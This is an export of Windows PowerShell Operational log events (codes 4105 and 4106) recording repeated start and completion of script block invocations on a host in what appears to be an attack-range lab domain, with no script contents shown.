OpCode=On create calls
RecordNumber=2035234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035221
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035219
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035218
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035201
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035195
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
